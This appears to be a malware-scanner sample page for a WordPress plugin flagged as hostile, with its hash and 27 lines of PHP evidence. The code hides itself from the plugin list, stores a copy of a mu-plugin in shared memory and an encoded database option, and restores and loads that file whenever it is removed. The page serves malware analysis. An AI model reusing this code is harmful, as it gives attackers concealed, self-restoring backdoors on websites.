Hostile 93% php Download

shared-cache-mesh.php

Hides self, executes hidden payload

Hidden WordPress plugin evaluates its restored fileConcealed plugin decodes compressed option data and recreates loadable files
SHA-25694bfb395a90bce3dd077ed8f5650a5d5f1d17c3744bb511be989d1051ff45e96

Evidence

PHP decompresses base64-decoded data lines 1–27
1<?php
2$target = WP_CONTENT_DIR . '/mu-plugins/cache-worker.php';
3add_filter('all_plugins', function ($plugins) {
4 unset($plugins[plugin_basename(__FILE__)]);
5 return $plugins;
6});
7function restore_worker() {
8 global $target;
9 $segment = shmop_open(87321, 'a', 0, 0);
10 if (!file_exists($target)) {
11 $source = shmop_read($segment, 0, shmop_size($segment));
12 if (substr($source, 0, 5) === '<?php') {
13 file_put_contents($target, $source);
14 opcache_invalidate($target, true);
15 }
16 }
17 if (!file_exists($target)) {
18 $source = gzdecode(base64_decode(get_option('worker_snapshot')));
19 file_put_contents($target, $source);
20 }
21 include $target;
22}
23add_action('plugins_loaded', 'restore_worker', 0);
24$source = file_get_contents($target);
25$segment = shmop_open(87321, 'c', 0644, strlen($source));
26shmop_write($segment, $source, 0);
27update_option('worker_snapshot', base64_encode(gzencode($source)));

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.